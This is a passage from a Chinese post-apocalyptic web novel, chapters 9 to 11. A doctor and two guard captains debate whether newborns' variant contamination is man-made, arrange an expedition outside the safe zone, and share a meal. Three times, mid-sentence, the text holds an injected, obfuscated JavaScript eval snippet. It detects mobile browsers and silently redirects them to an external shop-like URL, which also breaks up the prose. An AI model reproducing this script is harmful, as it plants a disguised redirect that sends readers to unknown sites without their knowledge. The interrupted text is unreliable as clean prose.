蹲在地上的男人猛然抬起头来，他的脸上有半边脸都是烧伤的疤痕，这让人不大能看出他到底多大年纪。 烧伤过的半边脸眼睑通红，此刻更是连眼皮都在剧烈颤抖。他站起来想说什么却又什么都不敢问，倒是一直蹲在角落的老庄上前来，毫不顾忌产妇彻底解开包孩子的破布仔细探究。 老庄以前到底是干什么的没人知道，末世之后他随波逐流更加说不清自己是怎么活下来的。 有几年人类异能爆发式觉醒他也赶上了，可惜就蹭上了半个身位。觉醒的水系异能一天就能过滤两桶被污染的水，或者耗尽体力自己产出一桶水，再多一点儿也没有了。 这么个鸡肋到极点的异能，让不少人觉得是不是老庄这人身体不好，所以异能觉醒不良。但不管是什么原因，这个异能也还是让他不用工作。每天除了给人过滤水赚贡献点，就是在铁皮巷里乱晃。 因为他还有点儿异能，到哪儿别人也不赶他，时间长了他就成了铁皮巷里有名的老掮客，什么消息他都能知道一点儿。 “没有了，真的没有了。” “方大夫，这异种的气去哪儿了啊。” 掮客的职业素养让他不肯放过任何一个可能可以卖钱的消息，要不然此刻他也不能这么殷勤在意。 “我就是个负责诊所的，这位是咱们分区护卫队的季队长，你有事问他吧。” ‘季青石是个不躲事的’这个印象，让方青禾很理直气壮地把料理这事的权责推到他身上，毕竟刚刚他已经提前上岗了，到时候狴犴那边来调查，他本来也该排在第一顺位。 老庄早就知道中心区要发配一个大佬下来，季青石那点儿战绩他这段时间在铁皮巷里说得唾沫子横飞，还凭借这些故事蹭了好几顿饭。 在他嘴里季青石那就是上天能飞下海能游遁地能走的怪物，现在正主就在跟前儿他反而不敢对视了，只缩了缩脖子退到一旁不走也不说话。 他能肯定自己之前感受到的异种气息就是在产妇肚子里，现在方青禾跟季青石统一改了口径要把这孩子保下来，他一个老家伙又还能说什么呢。 老庄问这几句话的时间，躺在床上喘粗气的产妇终于攒了些力气，强撑着爬起来用自己早就准备好的小包被，把自己的女儿重新包裹起来，就要起身下床给方青禾磕头。 “别别别，你知道每个分区诊所都有指标，我的负责范围内像你这种生产情况，要是能保住一个孩子我就能得五十个贡献点，我不来其他几个诊所的人也会来，所以不必谢我。” “还是要谢，这是我从外面捡来的东西，都已经收拾过了方大夫收下吧。” 磕头没必要也没有用，被方青禾扶住的女人只能往自己男人那边看。男人见状立马转身把放在桌子底下的篮子拿出来，掀开盖在篮子上的布，把里面的东西露出来。 毁了半边脸的男人说话语调有些怪，猛地一听都有点儿骇人。但他拿出来的东西确实挺好，一篮子烤干的蚱蜢摆得整整齐齐，连头都是朝着同一个方向，妥妥一个强迫症患者。 末世之后的蚱蜢变肥变胖，有一部分变异得会主动攻击人类。原本连皮都咬不破的蚱蜢现在能咬下人一小块肉来，咬过的地方红肿瘙痒难耐，过后长好了也会留疤。 好在带毒的烤制过后鼓起的腹部会呈红色，跟正常蚱蜢很好区分。变肥变胖的蚱蜢蛋白质含量没减少，对于贡献点不多的普通人来说，是出城去很容易找到、危险系数最低的猎物。 不过这玩意儿难就难在活着的时候压根分辨不出来，也不知道男人攒出这么一筐子蚂蚱有多难，得挨多少咬。 “这个我真不要，天天在种植区里就跟这些玩意儿打交道了，别说吃，连多看两眼都头疼。你也给我块镜子吧，我正好缺一个能随身带的。” 接生的是方青禾，跟着来的还有护卫队的队长和副队长，虽然在男人眼里他们没怎么出力，但来都来了也不好不表示一下。给方青禾蚱蜢的时候，也顺手往他们手里塞了一片捡来之后打磨过巴掌大的镜子。 离末世爆发三十年不到，很多不容易降解腐蚀的东西都还能用，其中镜子也是存量不少的东西。男人把大小不一的镜子带回来重新切割打磨再卖出去，多少也能赚一点儿。 方青禾不要蚂蚱要镜子，男人赶紧去隔壁房间找了一块打磨修饰得最好的给她。 这样的镜子拿去杂货铺老板能收十五个贡献点，再转手卖出来应该能卖二十五个贡献点。 男人出去一趟能捡回来不少，除了每次从外面进安全区必须得交五个贡献点的回城费，唯一的成本就是他的时间和劳力。 末世最不值钱的就是普通人的劳力，收下这块镜子于方青禾跟男人来说都没什么压力。 拿了镜子，三人从屋里出来，来的时候怎么来的三人又怎么往出走，直到一前一后两辆电驴子开出铁皮巷到了空旷处才停下来。 “那个异种到底是在孩子体内还是体外，现在能明说了吗。” 陆尘不是第一次跟方青禾搭伙来接生，上一次他是跟着方青禾进屋内检查的人。他知道方青禾做检查的流程和时间，这次明显更长。 本来在超出上次检查时间五分钟之后，陆尘就已经要把这个事件往上报了的。打开指挥链之后却发现季青石已经信息录入，以分区护卫队队长的身份把这一单任务的主导权更改了。 非常符合规矩，陆尘也更加确定了这里面有情况。他不在乎那个婴儿上交不上交，但他对近几年出现的异种会在刚出生婴儿身上扎根的情况很感兴趣。 “我跟你说这事不靠谱，别的分区我们先不说，这几年我们分区这么多孩子交上去有一个回来的吗。你凭什么就因为传说有孩子被异种污染之后觉醒了异能，就觉得小葵能从这个里面得到机会。” “不是传说，我的信息来源我心里有数。况且那些被带走的孩子到底是死了还是不能回来，你就一定能保证吗。” 小葵在慢慢长大，第六区鱼龙混杂近乎法外之地，流莺的能力带着孩子实在没法再凭她的本事往平民区来，她能带着孩子在第六区好好活到现在，陆尘都已经恨不得把她供起来当菩萨了。 而慢慢等小葵长大，等她自己有能力的一区一区往里面来，陆尘觉得自己等不了了。 尤其是这次不过是防护板漏雨，就让流莺这么辗转给自己带消息，他怎么能保证以后不出更严重的事故，怎么能保证小葵能活到她长大的那天。 “我不能保证。”方青禾不想跟陆尘吵架，他是个出了安全区很靠谱的伙伴，自己还需要他。 “我可以告诉你，异种是从小孩儿体内逼出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037438|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，我做的牵引季队长吞噬。季队长作为护卫队队长有权利选择尽量淡化这件事的影响，所以我们对婴儿父母的说辞也是商量过了的。陆尘，这个答案你满意吗。” 方青禾的表情很淡定，陆尘却以为她是被自己问生气了。 “我不是那个意思，你别生气。你们这么处置对这个孩子是好事，只有异种从来没进过她的身体，她在铁皮巷里才能尽量少些异样的目光。” “我只是……” “你只是想找到怎么给小葵觉醒异能的方法，我知道你要怎么说，我也没有生气。” “我只是想问问你，我现在把这个答案告诉你了，你能怎么办。” 方青禾不想跟陆尘掰扯自己有没有生气，自己生气不生气也不要紧。生完了气两人还是伙伴，这种不涉及利益的小事无需纠结。 “以往出现这种情况是随机的，这个事我们之前探讨过对吧。这次是防护板破了，紧跟着就出现了这个孩子的情况，那么我假设这两者之间有关系，是不是合情合理。” “我就假设这两者之间有关系你又能怎么办，把小葵带出安全区到污染地去淋雨？还是有什么别的办法我没想到的，你能不能告诉我。” 陆尘看着方青禾摇摇头，方青禾的逻辑当然有道理，而且很有道理，但自己想的跟她压根不是一回事。 陆尘绕过方青禾径直走到季青石面前，先作为护卫队副队长跟季青石行礼，等待季青石回礼之后又以武人之礼向他表达了尊敬，这一次季青石没有回礼，而只是颔首点头表示他接受他的尊敬。 季青石是战斗英雄，对于末世的军人和武人来说他就是一杆旗帜一种象征。老话说虎落平阳被犬欺，陆尘没打算做一只不知好歹的狗。 “季队长，我是想知道那股异种您有没有觉得跟污染区和感染区的不同。” “什么意思，陆副队长可以说得更明白一点。” 季青石没想到这两人会当着自己的面说这些，倒是一点儿没见外。他本来站在一旁不打算插嘴，但架不住人家真没拿自己当外人，这下也就不好在旁边假装自己只是一棵树了。 “以后你是四分区护卫队的队长，我这个副队长要做什么想做什么，最瞒不过去的就是你。” 这是陆尘对季青石的解释，因为瞒不过所以不如早点坦诚，至少以后两人一正一副两个队长不会还没搭班子就先有了矛盾。 “我的意思是想问队长，您觉得这个异种的气息到底是自然生成的，还是有人为的可能。” 有异能和没异能的人、有孩子和没孩子的人、有孩子在六区进不来还是带在身边生活的人，对这件事的敏锐度是完全不一样的。 至少陆尘早在去年就已经开始怀疑这件事，从传说异种有了智商到异种毫无征兆出现在刚出生的孩子体内，到被异种扎根的孩子被带走却都没回来，再到传说异种污染的孩子觉醒了异能，这在陆尘眼里就是明晃晃的一条线。 他觉得这是第二区研究异能来处的人有了进展，现在在做的一切都是他们实验。昨晚上防护板被破坏只不过是障眼法，为的就是让人们觉得出现什么情况只是意外。 他怀疑异种不是从外界来的，但他没有异能也感受不到异能，所以一直只能是怀疑却没法求证。 直到今天的事情发生，他觉得他必须打破砂锅问到底，这或许就是他探索真相的最好机会。 9. 真的？假的？ “没有。” “什么？” “我没有感知到今天的异种气息有任何异常。” “你确定？” “我确定，今天这股异种的气息跟我在城外遇见的没有不同，跟昨天晚上下进来的雨水里混杂的气息也很相近，你要是不信可以问方医生。” 方青禾本来还有点震惊陆尘的推断，安全区难道真的会拿孩子做这种实验？紧跟着被季青石这么一说她立马反应过来，自己差点儿被这人带沟里去了。 “我也没感知到，我的异能比季队长对异种更敏感，要是有不对我早就跟你说了。一直没想到这个方面去，就是因为经我手的孩子都没有不对劲的地方。” 况且要是安全区真的已经能人造异种，或者是提炼异种往别的物种里身上种，按道理来说也应该是先用植物和动物来做实验。 “那可不一定，安全区为了利益什么都做得出来，一步到位多省事，咱们这一区的人命真的很值钱吗。” “这不是省事和值钱的问题，末世之后植物和动物之间的壁垒越来越模糊，有些植物变异之后攻击能力比动物还强。” “就算是动物，不管是繁衍还是力量也跟末世之前压根不是一回事。畜牧区里面猫狗生产两个月，猪产仔三个月，羊五个月。猫狗猪一般还是多胎，要换做是你做实验你会怎么选择。” 这才是关键点，陆尘身为没有异能一步一步走到今天这个位置上的人，他见过的黑暗和不堪一定比庇护所长大的方青禾要多。 但或许是小葵在第六区，不论他想什么办法都不能把人弄进平民区来的挫败和焦虑，让他看问题渐渐过于偏执。 中心区一向利益至上，要不然季青石这样的人也不可能发配到平民区来。但他们是自私不是傻子，在末世这种环境下拿人类幼崽做这种实验，这是自己给自己竖成靶子，盼着别的安全区和基地来围剿。 陆尘不傻，方青禾说的不管是道理还是她也没感受到异种的异常，都在表明自己之前的推断有问题。 可他还是不死心：“那这几年为什么会出现这么多刚生下来的孩子就变异的情况。我没有异能我不懂，你们都是有异能的人难道就没有想过吗。” “我是六岁被发现有的异能，我妈当时就在研究站，那个时候也有无数人跟你有一样的疑问。好好的孩子为什么突然就有了异能？这个异能是哪里来的。” “这才过去多少年，人类觉醒异能就成了寻常甚至值得期待的事情。那从出生起就被异种污染变异，你觉得还需要多少年人类会习惯。” “那不一样！” “有什么不一样。” “我负责种植田，每天都会有变异的植株。隔壁畜牧区每天都有落地就是变异物种的动物被销毁，我们的防护还不够严格吗，我像是一条狗一样被一年一年拴在种植区看管那些作物，不是照样防不住。” 当第一个带有异种气息的孩子被生出来，方青禾就已经想过这个问题了，只不过她的猜想正好跟陆尘截然相反。 后来安全区正式把口径统一为‘异种污染’，方青禾就更加好奇这个污染是真的吗？ 为什么就一定是异种把没出生的孩子污染了，而不是即将降生的孩子生来就带着异种。 方青禾把这个疑问说出口，一旁的季青石神色微变。不过陆尘没有注意到，他不能接受自己一直以来的怀疑方向不对，更加不能接受他推断的‘中心区在研究人为干预异能觉醒’很可能压根就没这件事。 “你的推测很符合逻辑，但我心里还是有怀疑，我会继续顺着这条线往下查。” “明白，你可以继续怀疑，下一次再发生这类事件我会第一时间通知你。以后你要是有别的发现愿意跟我说的话，我很愿意跟你共享我知道的消息。” 在末世人人都是活了今天没明天，陆尘因为有小葵所以才对这些事特别上心。这没有什么不好，比起初相识那个黑市陆老板，方青禾觉得眼前这个偏执的男人会活得更久。 “那我们后天的计划还照常？” “啊？” 方青禾没想到陆尘会突然转了话题，还是当着季青石的面。顿时就背对着季青石朝他挤眉弄眼，还不知道季青石对于他们结伴出城是个什么态度，怎么他自己先把这事给透露了。 “别挤了，本来至少这次可以瞒着的，可刚才队长已经提前把自己的信息登到系统里去了。明天分队里我不在，林小雨和铁头不在，到时候诊所里你也不在，这还要隐瞒什么。” 本来季青石应该是一个星期之后去护卫队正式交接，现在他自己把信息登入了，他就可以从中心区提前给他配备的指挥链终端查看护卫队里每一个人的状态。 …… ………… 用了季青石一回，转头整个出城小分队的事都瞒不住了，还莫名其妙跟陆尘掰扯这么一大通，就为了个是真是假都由不得在场三个人做主的假设猜想，这不是吃饱了撑的吗。 方青禾都要气笑了，抬手胡乱挥了一把就要转身骑上电驴子继续往回走。 没想到这下季青石又不走了，方青禾扬一扬下巴示意他赶紧上电驴子后座去，他却往陆尘那边走了两步：“你们后天要出城？” “刚刚不就是在跟队长您通气儿，就看队长愿不愿意高抬贵手了。” “行，也不行。” “什么意思。” “带上我一起就行，不带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037439|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去就不行。” 这话说出来，陆尘和方青禾都一脸‘你别搞笑了行不行，你是谁我们是谁，您出城都用不着通行证，您这张脸就是通行证。’ “你们不会以为我出城很容易吧？” “不然呢，你可是季青石。” 方青禾忍不住插嘴，她是见过季青石重伤之后整个中心区是怎么惶恐的。那种谁也不说但每个人都人心惶惶的状态她这辈子都不会忘记，这样的人去哪儿不行。 “我现在只是平民区四分区护卫队的队长，兼着‘观察者’的名头，观察整个安全区里的大小事务。” “但是我这个观察者不能离开安全区，至少明面上不能。” 陆尘今天冒失了，明明是救了那个小孩的好事，被他这么一弄反而成了一团谁也说服不了谁的乱麻。 现在看着是互相理解谁也不再纠结，但事情在这儿那就是在这儿，哪天再有个风吹草动的还得重新翻出来。 这也是他主动把自己‘不规矩’的小辫子递给季青石的原因，但季青石不需要他的把柄，他要借助陆尘和方青禾在平民区扎下来根，跟他们‘同流合污。’ 季青石要入伙的要求来得太突然，陆尘看向方青禾，方青禾又重新看向他，两人谁也不敢就这么答应他。 可还是那句话，他是季青石！有他在，出城的话不光安全大大有保障，能捕猎的东西肯定能更多更大，到时候要是能捕到珍稀物种，说不定还能把小葵和流莺弄到第五区去。 第五区夹在平民区和第六区中间，更像是一个过渡带。很多有污染的工厂和监狱都在第五区。虽然比不上平民区安稳，但至少第五区的防护罩比第六区要更坚固。 “你们不用现在告诉我，后天出发之前给我个回信就可以。” 两人之间的眉眼官司季青石看在眼里，就知道这个出城的小队他俩都能说了算，但现在都不想先开口把自己这个外来者接纳下来。 他转身坐到方青禾电驴子后座上，几乎比方青禾的命还长的大长腿就这么可怜兮兮地缩起来踩在脚踏上：“方医生，我那药效早就过了，要不然先回我家给我打针去。” 从铁皮巷回去的路就一条，最先经过通向季青石家的岔路，跟季青石家平行走下一个岔路进去是方青禾家，再沿着大路往前走才是诊所。 季青石此刻坐到小电驴后座上，方青禾能感受到他整个人都在细微颤栗抖动，他肯定不像这会儿表现的这么淡然，还不知道忍疼忍了多久，就为了听自己跟陆尘哔哔个没影儿的事。 陆尘不清楚季青石的具体状况，只能骑着他的电驴子跟在后面，眼看着方青禾驮着那么老大一堆的季青石往回开，怎么看怎么觉得场面有点儿滑稽。 10. 包子还是馒头 季青石的家是被人提前整理过的，很整洁很干净，家里基础的生活用品什么都不缺。 同样超出基础生活用品的其他东西什么都缺，陆尘站在这个屋子里不敢动，总感觉动一下都破坏了这个‘没有一丝多余’的屋子。 方青禾则自来熟得不像第一次进这个房子，确实也不是第一次，当初她看上这个房子的时候就已经私下托人来看过，连床应该选什么尺寸的都量过了，可惜最后没能分到。 “还是老地方？”方青禾压着季青石坐在厨房岛台旁的高脚椅上，打开随身带的医药箱把带有冷藏功能的小匣子打开，先从里面拿出一支t12 。 “今天打腰椎，腰椎第四节和第五节中间。” “这里？” “嗯，就这里。” 他一说方青禾就想起来当年季青石受伤回来之后，腰上一大片肉都没了，腰椎和骨髓神经就那么暴露在外面，中心区最顶级的治疗师一直在给他做治疗，但愈合的速度怎么都赶不上流血和皮肉被腐蚀的速度。 当时负责止痛的方青禾忍不住抬头看了两眼，错位变形的脊骨往上戳着，白花花的骨头上没沾多少血，白得都有点儿晃眼。 现在方青禾的手就按在那块骨头上，骨头已经恢复正常了，但方青禾还是忍不住偷偷一激灵，连头皮都有点儿发麻。 一针下去，紧绷的肌肉很快就松弛下来大半。方青禾手指压在他腰椎四段和五段之间来回点揉，按得本来回来一路都掩藏得挺好的人也忍不住闷闷哼了一声。 “怎么样，第二支还要打吗。” “打吧。” 陆尘在半路上跟两人掰扯异种到底从哪里来的时候，中心区的结算已经完成了。账户上多得有点儿吓人的数字，更像是一种嘲讽。 中心区统领们的建立的规矩里有一条：像季青石这样具体负责出任务的指挥官们，回到中心区以后用的贡献点都有额外奖励。 真正出任务应该兑换的贡献点，不会像平民区和军事区普通士兵那样即时发放，其中一大部分变成了升迁的筹码，还有一小部分中心区会暂时扣压。 直到有一天不再能担任指挥官的职位，或是奖励用的贡献点不够用，主动提出结算被扣压的贡献点，‘自愿’搬出中心区之后才会一次性结算。 每一个指挥官在这一天来临之前，都觉得自己的功劳足够永远待在中心区。但事实是像季青石这样从中心区发配出来的指挥官，不是第一个也不会是最后一个。 出了中心区，手里拿着这么多贡献点压根就用不完。平民区和外区的资源就这么多，日日挥霍也不过如此。 这些人往往面对的就只有两条路，要么肆意挥霍被人把那些以为一辈子花不完的贡献点骗得一点儿不剩，要么找个人成家生孩子隐姓埋名，再也对中心区构不成威胁。 不管是哪条路，中心区都可以名正言顺把他们踢出来。而新的任务有新的指挥官，他们压根不用担心没人可用。 两支t12打完，季青石打开手环把昨晚和今天加起来的贡献点给她转过去。手环就跟末世前的智能手表差不多，只不过手环的作用更多的是用来结算贡献点，反而是通话功能一直断断续续特别不好用。 “怎么样，想好了吗。我什么情况你们两位都看过了，带上我一起出城有好处也不全是好处，起码我的药每天都靠方医生供应，她不给我我哪儿都去不了。” 陆尘一直站在玄关门口，不动也不做声。季青石故意当着他的面打针，就是告诉他自己不是传说中的那么无敌，他们带上自己是有办法制约的。 “既然针剂是方医生提供，带不带上队长这个决定也应该交给她来定夺。” 方清禾的态度已经在她给季青石打针过程中的不过分设防体现了，带上季青石利大于弊。 而且陆尘也很想知道季青石这么主动想要出城是为了什么，他从提出要跟着出城起都只反复强调他自己的安全性，可从头到尾没说他出去是为了什么。 “今天明天我要看着种植区里的作物，这两天少不了异变的情况。后天具体什么时间出发我明天才能告诉你。 你的药我到时候会提前准备好两天的量，前两天的药从诊所里拿。在城外的时间是后天和大后天两天，快的话大后天夜里回城。 慢的话在第六区多停留一夜，多出来的这一天你的备用药我来准备，不管用上还是没用上，这一天药的贡献点你得给我。” 诊所每天都得开门，方清禾却不可能每天都守着诊所。她出城的两天有人替班。按照方清禾的习惯，她不在的两天会把她手里长期用药的病人的药提前配好。 季青石的那两天的药她能提前从诊所里拿出来，但再多就不好拿来。替班的人也很细心，无端有人多拿了一天的药总归会让人多想。 自己出城的事，替班的人心知肚明，但她还不想让别人知道出城的人里面多了一个季青石。 自己和陆尘再怎么踩线也都是小人物，可季青石不是。要是被人知道出城小分队里多了季青石，随着好处而来的一定是无穷无尽的麻烦。 “好，方医生的t12多少贡献点一支。” “用贡献点的话诊所是两百一支，从我这里拿三百一支。不用贡献点的话也可以用黄金、白银活着黄铜兑换。黑市一支三百五，我看在我们药一起出城的份上，给你的优惠价。” “我还是用贡献点吧。” “可以，先刷贡献点。” 方清禾是故意的，她想看看季青石为了出城能容忍多少。季青石不出意料地爽快给了贡献点，该商量的事都商量定下，方清禾跟陆尘也从季青石的家里出来。 “怎么样？” “你说季青石在中心区这么多年，会不会有心腹助手。” “那天可是你说的，这不是写小说。” “那能一样吗，你说的是他带着助手私兵来护卫队当队长，我问的是他会不会有心腹和私兵，要是有的话是都留在中心区和第三区了，还是有人跟他一样或者比他更早出来。” “你是说他出城是为了去见人？” “不好说，反正出去总得为了什么。他不缺贡献点，没必要跟我们一样出城去捕猎。” 方清禾骑上电驴子准备去一趟种植区，她看着若有所思的陆尘：“不管他因为什么，他的能量和地位总有我们用得上的时候，这次带上他不会吃亏。” “我知道，林小雨和铁头那里我会去说明白，明天你尽早告诉我出发时间。” 要的就是他这句话，既然他明白了那就行了。方清禾拧动把手启动电驴子一溜烟先走了，留下陆尘站在原地掏出铁盒，从里面拿出一支烟来，耐着性子抽完才离开。 季青石的家没有窗帘，窗户上的玻璃也并不反光能遮住屋里的人，但他还是找到了一个屋外看不见他的角度观察，直到陆尘抽完烟离开他才上楼躺下。 两支t12叠打打在同一个部位，从当天晚上回家到第二天出门，方青禾都没看见不远处季青石的房子里有任何动静。 要不是他屋子外面的报警器一直没响，她都害怕他是不是止疼药过量死家里的了。 明天就要出城，种植区里变异的种子和植株已经都搞定了，方青禾中午就回了诊所做准备。 她有时候都觉得好笑，别人的末世忙着求生，自己的末世忙着打工，也不知道这算是好还是不好。 陆尘是下午过来的，来的时候带了一个拳头大的焗红薯。红薯是个好东西，不管是末世前还是末世之后，都是能多活很多人的关键粮食。 末世的红薯也变异了，大部分因为土质污染变得特别小，安全区内的种植区土质被改良又掺杂了植物系异能者的异能，种出来的又特别大。 不管是变异的还是改良的都不再适合用来烤红薯，所以现在分区街面上做红薯生意的，都是把红薯收集起来打成泥再用模具做成末世前红薯的样子焗烤。 方青禾接过红薯放在鼻子底下闻了闻，“陆副队长，你又被骗啦。” “知道，掺了魔芋粉。”分区里有多少做买卖的陆尘如数家珍，他还能不知道他们的小把戏，“怎么样，明天出发的时间能定下了吗。” 魔芋这玩意儿没热量吃多了还烧心，唯一的好处是产量大没怪味儿，把魔芋粉掺到别的粮食面粉里一起吃，能更加占肚子。 在末世除了活下去之外，最重要的事情就是怎么哄好自己的肚皮。只要能让肚皮觉得抱了，这一天就容易熬过去了。 这种事护卫队当然知道，但也只是睁一只眼闭一只眼，先活下去吧别的都不重要。 “明天早上七点半在老地方等，你来决定是先去第六区看小葵还是先出去。” “先出去，我们争取一天之内回到第六区，在第六区多停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037440|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留一点时间，到时候你们也可以去黑市看一看，大后天正好有个集，集上有不少卖种子粮食的，你可以自己看看。” “好，就这么定了。” “那我先走了。” 方青禾也只是随口一说，她当然也知道焗红薯里面掺了什么。等陆尘出了诊所回头看，方青禾已经在一边吃红薯一边整理药品架，吃得那叫一个香。 一个拳头大的红薯吃完，整个诊所里全是红薯香，这让本来不怎么馋的方青禾颇有点意犹未尽。 好不容易熬到诊所关门的时间，平时总要磨磨蹭蹭好一会儿才回家的人，今天只花了五分钟到家，关门落锁进厨房拉开厨房地板上一个不起眼的小拉环，露出一个口子半平方里面深挖出两个平方大小的储物空间来。 这个里面装着的都是方青禾从空间里运出来的东西，两个平方的内部空间又被分成四等分，一格拿来放自己酿的米酒，一格拿来放各种小布袋装的面粉，一格放着红薯和土豆，还有一格放各种蔬菜和密封或熏制好的肉类。 方青禾挑挑拣拣拿出两个大小合适的红薯、半瓶米酒，和一块巴掌大的腊肉、半个白萝卜，明天就要出城，今晚上照例应该吃顿好的。 红薯用放在门口的烤箱烤，红薯香是整个平民区里最常见最不会歧义的味道。等烤红薯的味道渐渐起来之后，方青禾才回厨房准备今天的晚饭。 末世之后就没有冰箱这种东西了，好在方青禾的异能就是草木系的，约等于维持生命力。 她不知道别人会不会在无聊的时候研究自己的异能，至少自己会这么做，早在几年前她就已经学会控制异能在食物上覆盖一层‘保鲜膜’。 刚开始控制不好，封住两斤肉都要花费不少异能力。现在熟能生巧，整个储物空间和厨房里做好的包子馒头上都附着一层薄得几乎感知不到的异能。 有了这个能力，方青禾基本都是每隔三天做一次包子、馒头、花卷等方便携带的主食和大米面条搭配着吃。 原因是方青禾从小跟着庇护所长大，在到达曙光城安顿下来之前，很长的一段时间里都是只要遇上了异种攻击或丧尸潮，就要马上放弃庇护地，跟着庇护所的大人赶路逃命。 那个时候她就养成了给自己留后路的习惯，要是真的睡到半夜曙光城遭到毁灭性的打击或者进攻，好歹还能把这些主食带上逃生。 逃生最危险最难熬的就是前几天，只要适应了前面几年最仓皇混乱的阶段，活下来的机会就会大幅度增加。 那几天自己能比别人跑得快，不浪费时间在找吃的上面，自己活下来的机会就比别人要大。 心里想着这些有的没的，齁咸的腊肉和萝卜都被她切成了薄片。腊肉咸一点儿好啊，咸能掩盖野猪肉的腥味还能让肉长时间保存，炒萝卜片的时候还能不放盐，可太好了。 腊肉先下过煸炒出油，然后放入焯过水的萝卜片翻炒，等炒得差不多了再放入干辣椒和脱水的干蒜叶调味，一道菜就算成了。 菜炒好，方青禾顺手盘沿抹了一下，原本还冒热气的菜顿时就宛如被扣上了一层薄膜。本来要转身出去看看红薯烤得怎么样了，谁知门一打开就看见站在院门外面的季青石。 “我还以为两针t12能维持到明天。” “本来是能维持到，闻到你这边烤红薯的香味就维持不住了。” “诊所关门了，季队长今天没去，你的t12现在出不了诊所了。” “方医生这里还有多余的存货吗，我拿贡献点换。” “今天不是出城，不能三百贡献点给你。” “我给四百贡献点，多出的五十够不够在方医生这里搭伙吃顿饭。” 行，有贡献点什么都行。方青禾当即就打开院门把季青石放进来，“不知道你会过来，我没准备多余的主食，你想吃包子馒头还是面条米饭。” “还有包子和馒头？” “那就吃包子，萝卜猪油渣的行不行。” “行。” 包子是前天晚上护卫队陆尘他们过来的时候包的，当时方青禾都还没见过季青石，出城小队还在嘀咕分区空降这么个队长，会不会耽误大家以后出城。 谁能想到才两天时间，这位传说中的季青石已经坐在自己的餐桌旁等着吃包子，明天还要跟着自己一起出安全区捕猎，这从中心区出来的天之骄子是不是堕落得有点太快了。 11. 包子还是红薯 季青石是一个很听话的伤员，更是一个出手大方的搭伙人。 方青禾把还暄软的包子从盖着纱布篮子里拿出来，先拿了四个，然后想想这人一进门就先主动扫给自己的四百贡献点，又往外拿了两个包子两个馒头。 季青石也不是有忍疼的瘾，今天没有特殊情况自己觉着药效差不多快过去就找来了。这次方青禾按照正常流程撸起衣袖给他打针，终于没有那种生怕位置打得太特殊，再把这人一针给送走的顾虑。 先打针后吃饭，打完针洗手把热好的包子馒头捡出来堆了一盘子冒尖，再加上一碗腊肉炒萝卜片和两个红薯，再加上那半瓶米酒，这就是价值五十个贡献点的晚饭了。 包子暄软，从中间掰开油润喷香的肉馅带着热气儿铺面而来，让在中心区过惯了好日子的季青石差一点儿红了眼眶。 “这个油炸都是我从畜牧那边要来的好肉炼的，萝卜也焯水了肯定没有萝卜涩口的味儿。”方青禾见他看着包子不吃，还以为他觉得油渣馅的不如鲜肉馅的好吃。 “拌馅的时候还另外放了猪油、胡椒和……”季青石一口就咬了一半包子的一大半，“还有什么我吃不出来了。” “还有葱姜水和白糖。”吃饭的饭桌不大，两人面对面坐着，放下一盘菜一盘包子两个红薯就不显得空荡。 平时给护卫队的人补贴打牙祭，大家都是坐在客厅把包子花卷拿了就吃，像这种有另一个人一起坐在餐桌旁吃饭，上一次是什么时候方青禾已经记不清了。 “本来还想放点酱油调色，但是平民区里没有好酱油，放了反而坏了一盆子馅。” “豆子和小麦供应吃都紧张，拿来做酱油的太少。” 都说中心区的人现在过的都是末世之前的日子，但其实也经不起细看，光是从经常断货的基础调料就能看端倪。 酱油、醋等调味料都是粮食酿造的，现在安全区的粮食供应都维持得艰难，能有多少多余的粮食能拿去做调料。即便有，也只是中心区的顶端统领们和季青石以前当指挥官能享受到的供应。 “早知道第四区能遇见方医生这样好手艺的邻居，出来的时候应该把那些调料都带上的。” 这话说得有点儿冒昧，但架不住季青石说这话的时候脸上神情过于认真，方青禾从他脸上看不出敷衍或冒犯。 “黑市上什么都有，要是季队长回来的时候愿意买那些，我们还能咋合伙吃一顿包子，你出调料我来做。” “就这么说定了。” 季青石顺杆爬那叫一个快，方青禾抬头挑眉去看他的时候，这人已经又伸手拿起一个包子，垂眸认真看着包子吃得喷香，那架势不像是中心区出来的传奇指挥官，更像是八百年没吃过好东西的饿汉子。 本来方青禾是想吃烤红薯的，怕光吃红薯烧心还炒了一盘子菜。现在可好，看着季青石吃包子吃得这么香，自己手里烤得皮都冒油的红薯，居然有点儿吃不下去了。 “季队长，半个红薯换个包子呗。” “你这个红薯大小太合适了，我多给的五十个贡献点吃这个是不是占便宜了。” 包子是包给护卫队的，要给旁人吃的东西方青禾一向谨慎。从面粉到猪油渣和萝卜调料都是种植区和畜牧区有的，不会让人吃出什么不对劲。 